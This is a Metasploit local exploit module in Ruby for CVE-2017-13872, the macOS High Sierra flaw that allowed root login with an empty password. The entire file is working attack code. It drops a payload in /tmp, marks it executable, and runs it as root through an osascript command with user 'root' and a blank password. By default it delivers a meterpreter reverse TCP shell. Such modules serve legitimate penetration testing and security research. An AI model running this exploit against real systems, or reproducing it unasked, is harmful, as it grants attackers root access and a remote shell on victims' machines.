##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mac OS X Root Privilege Escalation',
        'Description' => %q{
          This module exploits a serious flaw in MacOSX High Sierra.
          Any user can login with user "root", leaving an empty password.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2017-13872' ],
          [ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
          [ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
          [ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
        ],
        'Platform' => 'osx',
        'Arch' => ARCH_X64,
        'Author' => [
          'chethan177',  # earliest public discovery
          'lemiorhan',   # making this well-known via Twitter
          'timwr',       # Metasploit module
        ],
        'DefaultOptions' => {
          'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
        },
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2017-11-29',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit_cmd(root_payload)
    "osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, payload.raw)
    register_file_for_cleanup(payload_file)
    output = cmd_exec("chmod +x #{payload_file}")
    print_status("Executing payload file as '#{payload_file}'")
    cmd_exec(exploit_cmd(payload_file))
  end
end